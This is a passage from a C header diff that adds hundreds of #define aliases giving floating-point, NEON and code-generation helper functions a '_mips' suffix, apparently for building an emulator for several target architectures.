float64_to_uint64_mips +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_mips +#define float64_trunc_to_int float64_trunc_to_int_mips +#define float64_unordered float64_unordered_mips +#define float64_unordered_quiet float64_unordered_quiet_mips +#define float_raise float_raise_mips +#define floatx80_add floatx80_add_mips +#define floatx80_compare floatx80_compare_mips +#define floatx80_compare_internal floatx80_compare_internal_mips +#define floatx80_compare_quiet floatx80_compare_quiet_mips +#define floatx80_default_nan floatx80_default_nan_mips +#define floatx80_div floatx80_div_mips +#define floatx80_eq floatx80_eq_mips +#define floatx80_eq_quiet floatx80_eq_quiet_mips +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_mips +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_mips +#define floatx80_le floatx80_le_mips +#define floatx80_le_quiet floatx80_le_quiet_mips +#define floatx80_lt floatx80_lt_mips +#define floatx80_lt_quiet floatx80_lt_quiet_mips +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_mips +#define floatx80_mul floatx80_mul_mips +#define floatx80_rem floatx80_rem_mips +#define floatx80_round_to_int floatx80_round_to_int_mips +#define floatx80_scalbn floatx80_scalbn_mips +#define floatx80_sqrt floatx80_sqrt_mips +#define floatx80_sub floatx80_sub_mips +#define floatx80ToCommonNaN floatx80ToCommonNaN_mips +#define floatx80_to_float128 floatx80_to_float128_mips +#define floatx80_to_float32 floatx80_to_float32_mips +#define floatx80_to_float64 floatx80_to_float64_mips +#define floatx80_to_int32 floatx80_to_int32_mips +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_mips +#define floatx80_to_int64 floatx80_to_int64_mips +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_mips +#define floatx80_unordered floatx80_unordered_mips +#define floatx80_unordered_quiet floatx80_unordered_quiet_mips +#define flush_icache_range flush_icache_range_mips +#define format_string format_string_mips +#define fp_decode_rm fp_decode_rm_mips +#define frame_dummy frame_dummy_mips +#define free_range free_range_mips +#define fstat64 fstat64_mips +#define futex_wait futex_wait_mips +#define futex_wake futex_wake_mips +#define gen_aa32_ld16s gen_aa32_ld16s_mips +#define gen_aa32_ld16u gen_aa32_ld16u_mips +#define gen_aa32_ld32u gen_aa32_ld32u_mips +#define gen_aa32_ld64 gen_aa32_ld64_mips +#define gen_aa32_ld8s gen_aa32_ld8s_mips +#define gen_aa32_ld8u gen_aa32_ld8u_mips +#define gen_aa32_st16 gen_aa32_st16_mips +#define gen_aa32_st32 gen_aa32_st32_mips +#define gen_aa32_st64 gen_aa32_st64_mips +#define gen_aa32_st8 gen_aa32_st8_mips +#define gen_adc gen_adc_mips +#define gen_adc_CC gen_adc_CC_mips +#define gen_add16 gen_add16_mips +#define gen_add_carry gen_add_carry_mips +#define gen_add_CC gen_add_CC_mips +#define gen_add_datah_offset gen_add_datah_offset_mips +#define gen_add_data_offset gen_add_data_offset_mips +#define gen_addq gen_addq_mips +#define gen_addq_lo gen_addq_lo_mips +#define gen_addq_msw gen_addq_msw_mips +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_mips +#define gen_arm_shift_im gen_arm_shift_im_mips +#define gen_arm_shift_reg gen_arm_shift_reg_mips +#define gen_bx gen_bx_mips +#define gen_bx_im gen_bx_im_mips +#define gen_clrex gen_clrex_mips +#define generate_memory_topology generate_memory_topology_mips +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_mips +#define gen_exception gen_exception_mips +#define gen_exception_insn gen_exception_insn_mips +#define gen_exception_internal gen_exception_internal_mips +#define gen_exception_internal_insn gen_exception_internal_insn_mips +#define gen_exception_return gen_exception_return_mips +#define gen_goto_tb gen_goto_tb_mips +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_mips +#define gen_helper_add_saturate gen_helper_add_saturate_mips +#define gen_helper_add_setq gen_helper_add_setq_mips +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_mips +#define gen_helper_clz32 gen_helper_clz32_mips +#define gen_helper_clz64 gen_helper_clz64_mips +#define gen_helper_clz_arm gen_helper_clz_arm_mips +#define gen_helper_cpsr_read gen_helper_cpsr_read_mips +#define gen_helper_cpsr_write gen_helper_cpsr_write_mips +#define gen_helper_crc32_arm gen_helper_crc32_arm_mips +#define gen_helper_crc32c gen_helper_crc32c_mips +#define gen_helper_crypto_aese gen_helper_crypto_aese_mips +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_mips +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_mips +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_mips +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_mips +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_mips +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_mips +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_mips +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_mips +#define gen_helper_double_saturate gen_helper_double_saturate_mips +#define gen_helper_exception_internal gen_helper_exception_internal_mips +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_mips +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_mips +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_mips +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_mips +#define gen_helper_get_user_reg gen_helper_get_user_reg_mips +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_mips +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_mips +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_mips +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_mips +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_mips +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_mips +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_mips +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_mips +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_mips +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_mips +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_mips +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_mips +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_mips +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_mips +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_mips +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_mips +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_mips +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_mips +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_mips +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_mips +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_mips +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_mips +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_mips +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_mips +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_mips +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_mips +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_mips +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_mips +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_mips +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_mips +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_mips +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_mips +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_mips +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_mips +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_mips +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_mips +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_mips +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_mips +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_mips +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_mips +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_mips +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_mips +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_mips +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_mips +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_mips +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_mips +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_mips +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_mips +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_mips +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_mips +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_mips +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_mips +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_mips +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_mips +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_mips +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_mips +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_mips +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_mips +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_mips +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_mips +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_mips +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_mips +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_mips +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_mips +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_mips +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_mips +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_mips +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_mips +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_mips +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_mips +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_mips +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_mips +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_mips +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_mips +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_mips +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_mips +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_mips +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_mips +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_mips +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_mips +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_mips +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_mips +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_mips +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_mips +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_mips +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_mips +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_mips +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_mips +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_mips +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_mips +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_mips +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_mips +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_mips +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_mips +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_mips +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_mips +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_mips +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_mips +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_mips +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_mips +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_mips +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_mips +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_mips +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_mips +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_mips +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_mips +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_mips +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_mips +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_mips +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_mips +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_mips +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_mips +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_mips +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_mips +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_mips +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_mips +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_mips +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_mips +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_mips +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_mips +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_mips +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_mips +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_mips +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_mips +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_mips +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_mips +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_mips +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_mips +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_mips +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_mips +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_mips +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_mips +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_mips +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_mips +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_mips +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_mips +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_mips +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_mips +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_mips +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_mips +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_mips +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_mips +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_mips +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_mips +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_mips +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_mips +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_mips +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_mips +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_mips +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_mips +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_mips +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_mips +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_mips +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_mips +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_mips +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_mips +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_mips +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_mips +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_mips +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_mips +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_mips +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_mips +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_mips +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_mips +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_mips +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_mips +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_mips +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_mips +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_mips +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_mips +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_mips +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_mips +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_mips +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_mips +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_mips +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_mips +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_mips +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_mips +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_mips +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_mips +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_mips +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_mips +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_mips +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_mips +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_mips +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_mips +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_mips +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_mips +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_mips +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_mips +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_mips +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_mips +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_mips +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_mips +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_mips +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_mips +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_mips +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_mips +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_mips +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_mips +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_mips +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_mips +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_mips +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_mips +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_mips +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_mips +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_mips +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_mips +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_mips +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_mips +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_mips +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_mips +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_mips +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_mips +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_mips +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_mips +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_mips +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_mips +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_mips +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_mips +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_mips +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_mips +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_mips +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_mips +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_mips +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_mips +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_mips +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_mips +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_mips +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_mips +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_mips +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_mips +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_mips +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_mips +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_mips +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_mips +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_mips +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_mips +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_mips +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_mips +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_mips +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_mips +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_mips +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_mips +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_mips +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_mips +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_mips +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_mips +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_mips +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_mips +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_mips +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_mips +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_mips +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_mips +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_mips +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_mips +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_mips +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_mips +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_mips +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_mips +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_mips +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_mips +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_mips +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_mips +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_mips +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_mips +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_mips +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_mips +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_mips +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_mips +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_mips +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_mips +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_mips +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_mips +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_mips +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_mips +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_mips +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_mips +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_mips +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_mips +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_mips +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_mips +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_mips +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_mips +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_mips +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_mips +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_mips +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_mips +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_mips +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_mips +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_mips +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_mips +#define gen_helper_neon_tbl gen_helper_neon_tbl_mips +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_mips +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_mips +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_mips +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_mips +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_mips +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_mips +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_mips +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_mips +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_mips +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_mips +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_mips +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_mips +#define gen_helper_neon_zip16 gen_helper_neon_zip16_mips +#define gen_helper_neon_zip8 gen_helper_neon_zip8_mips +#define gen_helper_pre_hvc gen_helper_pre_hvc_mips +#define gen_helper_pre_smc gen_helper_pre_smc_mips +#define gen_helper_qadd16 gen_helper_qadd16_mips +#define gen_helper_qadd8 gen_helper_qadd8_mips +#define gen_helper_qaddsubx gen_helper_qaddsubx_mips +#define gen_helper_qsub16 gen_helper_qsub16_mips +#define gen_helper_qsub8 gen_helper_qsub8_mips +#define gen_helper_qsubaddx gen_helper_qsubaddx_mips +#define gen_helper_rbit gen_helper_rbit_mips +#define gen_helper_recpe_f32 gen_helper_recpe_f32_mips +#define gen_helper_recpe_u32 gen_helper_recpe_u32_mips +#define gen_helper_recps_f32 gen_helper_recps_f32_mips +#define gen_helper_rintd gen_helper_rintd_mips +#define gen_helper_rintd_exact gen_helper_rintd_exact_mips +#define gen_helper_rints gen_helper_rints_mips +#define gen_helper_rints_exact gen_helper_rints_exact_mips +#define gen_helper_ror_cc gen_helper_ror_cc_mips +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_mips +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_mips +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_mips +#define gen_helper_sadd16 gen_helper_sadd16_mips +#define gen_helper_sadd8 gen_helper_sadd8_mips +#define gen_helper_saddsubx gen_helper_saddsubx_mips +#define gen_helper_sar_cc gen_helper_sar_cc_mips +#define 